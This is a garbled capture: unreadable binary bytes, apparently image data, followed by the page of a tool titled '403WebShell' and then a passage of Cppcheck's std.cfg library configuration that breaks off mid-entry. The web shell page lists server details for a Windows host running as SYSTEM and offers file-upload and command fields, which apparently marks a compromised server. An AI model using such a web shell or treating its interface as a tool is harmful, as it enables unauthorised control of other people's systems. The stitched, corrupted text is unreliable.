�a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0    !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1��� ��]�[��)�'������ :�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3     !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k�� 403WebShell
403Webshell
Server IP : 127.0.0.1  /  Your IP : 10.100.1.254
Web Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
System : Windows NT WIZC-EXTRANET 10.0 build 19045 (Windows 10) AMD64
User : SYSTEM ( 0)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Strawberry/c/share/Cppcheck/cfg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Strawberry/c/share/Cppcheck/cfg/std.cfg
<?xml version="1.0"?>
<def format="2">
  <!-- stdint.h -->
  <define name="INT8_MIN" value="-128"/>
  <define name="INT16_MIN" value="-32768"/>
  <define name="INT32_MIN" value="-2147483648"/>
  <define name="INT64_MIN" value="-9223372036854775808"/>
  <define name="INT_FAST8_MIN" value="-128"/>
  <define name="INT_FAST16_MIN" value="-9223372036854775808"/>
  <define name="INT_FAST32_MIN" value="-9223372036854775808"/>
  <define name="INT_FAST64_MIN" value="-9223372036854775808"/>
  <define name="INT_LEAST8_MIN" value="-128"/>
  <define name="INT_LEAST16_MIN" value="-32768"/>
  <define name="INT_LEAST32_MIN" value="-2147483648"/>
  <define name="INT_LEAST64_MIN" value="-9223372036854775808"/>
  <define name="INT8_MAX" value="127"/>
  <define name="INT16_MAX" value="32767"/>
  <define name="INT32_MAX" value="2147483647"/>
  <define name="INT64_MAX" value="9223372036854775807"/>
  <define name="INT_FAST8_MAX" value="127"/>
  <define name="INT_FAST16_MAX" value="9223372036854775807"/>
  <define name="INT_FAST32_MAX" value="9223372036854775807"/>
  <define name="INT_FAST64_MAX" value="9223372036854775807"/>
  <define name="INT_LEAST8_MAX" value="127"/>
  <define name="INT_LEAST16_MAX" value="32767"/>
  <define name="INT_LEAST32_MAX" value="2147483647"/>
  <define name="INT_LEAST64_MAX" value="9223372036854775807"/>
  <define name="UINT8_MAX" value="255U"/>
  <define name="UINT16_MAX" value="65535U"/>
  <define name="UINT32_MAX" value="4294967295U"/>
  <define name="UINT64_MAX" value="18446744073709551615U"/>
  <define name="UINT_FAST8_MAX" value="255U"/>
  <define name="UINT_FAST16_MAX" value="18446744073709551615U"/>
  <define name="UINT_FAST32_MAX" value="18446744073709551615U"/>
  <define name="UINT_FAST64_MAX" value="18446744073709551615U"/>
  <define name="UINT_LEAST8_MAX" value="255U"/>
  <define name="UINT_LEAST16_MAX" value="65535U"/>
  <define name="UINT_LEAST32_MAX" value="4294967295U"/>
  <define name="UINT_LEAST64_MAX" value="18446744073709551615U"/>
  <!-- math.h -->
  <define name="M_E" value="2.7182818284590452354"/>
  <define name="M_LOG2E" value="1.4426950408889634074"/>
  <define name="M_LOG10E" value="0.43429448190325182765"/>
  <define name="M_LN2" value="0.69314718055994530942"/>
  <define name="M_LN10" value="2.30258509299404568402"/>
  <define name="M_PI" value="3.14159265358979323846"/>
  <define name="M_PI_2" value="1.57079632679489661923"/>
  <define name="M_PI_4" value="0.78539816339744830962"/>
  <define name="M_1_PI" value="0.31830988618379067154"/>
  <define name="M_2_PI" value="0.63661977236758134308"/>
  <define name="M_2_SQRTPI" value="1.12837916709551257390"/>
  <define name="M_SQRT2" value="1.41421356237309504880"/>
  <define name="M_SQRT1_2" value="0.70710678118654752440"/>
  <define name="_IOFBF" value="0"/>
  <define name="_IOLBF" value="1"/>
  <define name="_IONBF" value="2"/>
  <!-- https://en.cppreference.com/w/cpp/numeric/math/FP_categories -->
  <define name="FP_NORMAL" value="1"/>
  <define name="FP_SUBNORMAL" value="2"/>
  <define name="FP_ZERO" value="3"/>
  <define name="FP_INFINITE" value="4"/>
  <define name="FP_NAN" value="5"/>
  <!-- errno_t is a typedef for int -->
  <define name="errno_t" value="int"/>
  <!-- void abort(void); -->
  <function name="abort,std::abort">
    <noreturn>true</noreturn>
  </function>
  <!-- int abs(int j); -->
  <function name="abs,std::abs">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;0?arg1:-arg1</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- intmax_t imaxabs(intmax_t n); -->
  <function name="imaxabs,std::imaxabs">
    <use-retval/>
    <pure/>
    <returnValue type="intmax_t">arg1&gt;0?arg1:-arg1</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- std::proj(std::complex) -->
  <function name="std::proj">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex cproj(double complex x); -->
  <!-- float complex cprojf(float complex x); -->
  <!-- long double complex cprojl(long double complex x); -->
  <function name="cproj,cprojf,cprojl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double creal(double complex x); -->
  <!-- float crealf(float complex x); -->
  <!-- long double creall(long double complex x); -->
  <function name="creal,crealf,creall">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double acos(double x); -->
  <function name="acos,std::acos">
    <use-retval/>
    <pure/>
    <returnValue type="double">acos(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>-1.0:1.0</valid>
    </arg>
  </function>
  <!-- float acosf(float x); -->
  <function name="acosf,std::acosf">
    <use-retval/>
    <pure/>
    <returnValue type="float">acos(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>-1.0:1.0</valid>
    </arg>
  </function>
  <!-- long double acosl(long double x); -->
  <function name="acosl,std::acosl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">acos(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>-1.0:1.0</valid>
    </arg>
  </function>
  <!-- double acosh(double x); -->
  <function name="acosh,std::acosh">
    <use-retval/>
    <pure/>
    <returnValue type="double">acosh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>1.0:</valid>
    </arg>
  </function>
  <!-- float acoshf(float x); -->
  <function name="acoshf,std::acoshf">
    <use-retval/>
    <pure/>
    <returnValue type="float">acosh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>1.0:</valid>
    </arg>
  </function>
  <!-- long double acoshl(long double x); -->
  <function name="acoshl,std::acoshl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">acosh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>1.0:</valid>
    </arg>
  </function>
  <!-- char *asctime(const struct tm *tm) -->
  <function name="asctime,std::asctime">
    <use-retval/>
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <warn severity="style" cstd="c99" alternatives="strftime" reason="Obsolete"/>
  </function>
  <!-- errno_t asctime_s(char *buf, rsize_t bufsz, const struct tm *time_ptr); // since C11 -->
  <function name="asctime_s,std::asctime_s">
    <noreturn>false</noreturn>
    <returnValue type="errno_t"/>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>26:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
      <not-bool/>
    </arg>
    <warn severity="style" alternatives="strftime" reason="Obsolete"/>
  </function>
  <!-- void assert(int expression) -->
  <function name="assert">
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1">
      <not-uninit/>
    </arg>
  </function>
  <!-- double sqrt(double x); -->
  <function name="sqrt,std::sqrt">
    <use-retval/>
    <pure/>
    <returnValue type="double">sqrt(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0.0:</valid>
    </arg>
  </function>
  <!-- float sqrtf(float x); -->
  <function name="sqrtf,std::sqrtf">
    <use-retval/>
    <pure/>
    <returnValue type="float">sqrt(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0.0:</valid>
    </arg>
  </function>
  <!-- long double sqrtl(long double x); -->
  <function name="sqrtl,std::sqrtl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">sqrt(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0.0:</valid>
    </arg>
  </function>
  <!-- double complex csqrt(double complex x); -->
  <!-- float complex csqrtf(float complex x); -->
  <!-- long double complex csqrtl(long double complex x); -->
  <function name="csqrt,csqrtf,csqrtl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double sinh(double x); -->
  <function name="sinh,std::sinh">
    <use-retval/>
    <pure/>
    <returnValue type="double">sinh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float sinhf(float x); -->
  <function name="sinhf,std::sinhf">
    <use-retval/>
    <pure/>
    <returnValue type="float">sinh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double sinhl(long double x); -->
  <function name="sinhl,std::sinhl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">sinh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double sin(double x); -->
  <function name="sin,std::sin">
    <use-retval/>
    <pure/>
    <returnValue type="double">sin(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float sinf(float f); -->
  <function name="sinf,std::sinf">
    <use-retval/>
    <pure/>
    <returnValue type="float">sin(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double sinl(long double x); -->
  <function name="sinl,std::sinl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">sin(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex csin(double complex x); -->
  <!-- float complex csinf(float complex f); -->
  <!-- long double complex csinl(long double complex x); -->
  <function name="csin,csinf,csinl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex csinh(double complex x); -->
  <!-- float complex csinhf(float complex f); -->
  <!-- long double complex csinhl(long double complex x); -->
  <function name="csinh,csinhf,csinhl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double asin(double x); -->
  <function name="asin,std::asin">
    <use-retval/>
    <pure/>
    <returnValue type="double">asin(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <valid>-1.0:1.0</valid>
      <not-uninit/>
    </arg>
  </function>
  <!-- float asinf(float x); -->
  <function name="asinf,std::asinf">
    <use-retval/>
    <pure/>
    <returnValue type="float">asin(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <valid>-1.0:1.0</valid>
      <not-uninit/>
    </arg>
  </function>
  <!-- long double asinl(long double x); -->
  <function name="asinl,std::asinl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">asin(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <valid>-1.0:1.0</valid>
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex casin(double complex x); -->
  <!-- float complex casinf(float complex x); -->
  <!-- long double complex casinl(long double complex x); -->
  <function name="casin,casinf,casinl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double asinh(double x); -->
  <function name="asinh,std::asinh">
    <use-retval/>
    <pure/>
    <returnValue type="double">asinh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float asinhf(float x); -->
  <function name="asinhf,std::asinhf">
    <use-retval/>
    <pure/>
    <returnValue type="float">asinh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double asinhl(long double x); -->
  <function name="asinhl,std::asinhl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">asinh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex casinh(double complex x); -->
  <!-- float complex casinhf(float complex x); -->
  <!-- long double complex casinhl(long double complex x); -->
  <function name="casinh,casinhf,casinhl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- size_t wcsftime(wchar_t* ptr, size_t maxsize, const wchar_t* format, const struct tm* timeptr); -->
  <function name="wcsftime,std::wcsftime">
    <pure/>
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="4" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- double tan(double x); -->
  <function name="tan,std::tan">
    <use-retval/>
    <pure/>
    <returnValue type="double">tan(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float tanf(float x); -->
  <function name="tanf,std::tanf">
    <use-retval/>
    <pure/>
    <returnValue type="float">tan(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double tanl(long double x); -->
  <function name="tanl,std::tanl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">tan(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex ctan(double complex x); -->
  <!-- float complex ctanf(float complex x); -->
  <!-- long double complex ctanl(long double complex x); -->
  <function name="ctan,ctanf,ctanl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double tanh(double x); -->
  <function name="tanh,std::tanh">
    <use-retval/>
    <pure/>
    <returnValue type="double">tanh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float tanhf(float x); -->
  <function name="tanhf,std::tanhf">
    <use-retval/>
    <pure/>
    <returnValue type="float">tanh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double tanhl(long double x); -->
  <function name="tanhl,std::tanhl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">tanh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex ctanh(double complex x); -->
  <!-- float complex ctanhf(float complex x); -->
  <!-- long double complex ctanhl(long double complex x); -->
  <function name="ctanh,ctanhf,ctanhl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int feclearexcept(int excepts); -->
  <function name="feclearexcept,std::feclearexcept">
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int fegetenv(fenv_t* envp); -->
  <function name="fegetenv,std::fegetenv">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- int fegetexceptflag(fexcept_t* flagp, int excepts); -->
  <function name="fegetexceptflag,std::fegetexceptflag">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int fegetround(void); -->
  <function name="fegetround,std::fegetround">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
  </function>
  <!-- int feholdexcept(fenv_t* envp); -->
  <function name="feholdexcept,std::feholdexcept">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- int feraiseexcept(int excepts); -->
  <function name="feraiseexcept,std::feraiseexcept">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int fesetenv(const fenv_t* envp); -->
  <function name="fesetenv,std::fesetenv">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- int fesetexceptflag(const fexcept_t* flagp, int excepts); -->
  <function name="fesetexceptflag,std::fesetexceptflag">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <!-- Note: flag values (FE_ALL_EXCEPT,FE_DIVBYZERO, etc.) are defined in this file -->
      <valid>1:31</valid>
    </arg>
  </function>
  <!-- int fesetround(int rdir); -->
  <function name="fesetround,std::fesetround">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int fetestexcept(int excepts); -->
  <function name="fetestexcept,std::fetestexcept">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <!-- Note: flag values (FE_ALL_EXCEPT,FE_DIVBYZERO, etc.) are defined in this file -->
      <valid>1:31</valid>
    </arg>
  </function>
  <!-- int feupdateenv(const fenv_t* envp); -->
  <function name="feupdateenv,std::feupdateenv">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- double atan(double x); -->
  <function name="atan,std::atan">
    <use-retval/>
    <pure/>
    <returnValue type="double">atan(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float atanf(float x); -->
  <function name="atanf,std::atanf">
    <use-retval/>
    <pure/>
    <returnValue type="float">atan(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double atanl(long double x); -->
  <function name="atanl,std::atanl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">atan(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex catan(double complex x); -->
  <!-- float complex catanf(float complex x); -->
  <!-- long double complex catanl(long double complex x); -->
  <function name="catan,catanf,catanl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- https://en.cppreference.com/w/cpp/numeric/math/tgamma -->
  <!-- double tgamma(double x); -->
  <function name="tgamma,std::tgamma">
    <use-retval/>
    <pure/>
    <returnValue type="double">tgamma(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <!-- If x is zero or a negative integer for which the function is asymptotic, it may cause a pole error (depending on implementation).-->
      <valid>!0.0:</valid>
    </arg>
  </function>
  <!-- https://en.cppreference.com/w/cpp/numeric/math/tgamma -->
  <!-- float tgammaf(float x); -->
  <function name="tgammaf,std::tgammaf">
    <use-retval/>
    <pure/>
    <returnValue type="float">tgamma(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <!-- If x is zero or a negative integer for which the function is asymptotic, it may cause a pole error (depending on implementation).-->
      <valid>!0.0:</valid>
    </arg>
  </function>
  <!-- https://en.cppreference.com/w/cpp/numeric/math/tgamma -->
  <!-- long double tgammal(long double x); -->
  <function name="tgammal,std::tgammal">
    <use-retval/>
    <pure/>
    <returnValue type="long double">tgamma(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <!-- If x is zero or a negative integer for which the function is asymptotic, it may cause a pole error (depending on implementation).-->
      <valid>!0.0:</valid>
    </arg>
  </function>
  <!-- double trunc(double x); -->
  <function name="trunc,std::trunc">
    <use-retval/>
    <pure/>
    <returnValue type="double">trunc(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float truncf(float x); -->
  <function name="truncf,std::truncf">
    <use-retval/>
    <pure/>
    <returnValue type="float">trunc(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double truncl(long double x); -->
  <function name="truncl,std::truncl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">trunc(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double atanh(double x); -->
  <function name="atanh,std::atanh">
    <use-retval/>
    <pure/>
    <returnValue type="double">atanh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>-1.0:1.0</valid>
    </arg>
  </function>
  <!-- float atanhf(float x); -->
  <function name="atanhf,std::atanhf">
    <use-retval/>
    <pure/>
    <returnValue type="float">atanh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>-1.0:1.0</valid>
    </arg>
  </function>
  <!-- long double atanhl(long double x); -->
  <function name="atanhl,std::atanhl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">atanh(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>-1.0:1.0</valid>
    </arg>
  </function>
  <!-- double complex catanh(double complex x); -->
  <!-- float complex catanhf(float complex x); -->
  <!-- long double complex catanhl(long double complex x); -->
  <function name="catanh,catanhf,catanhl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
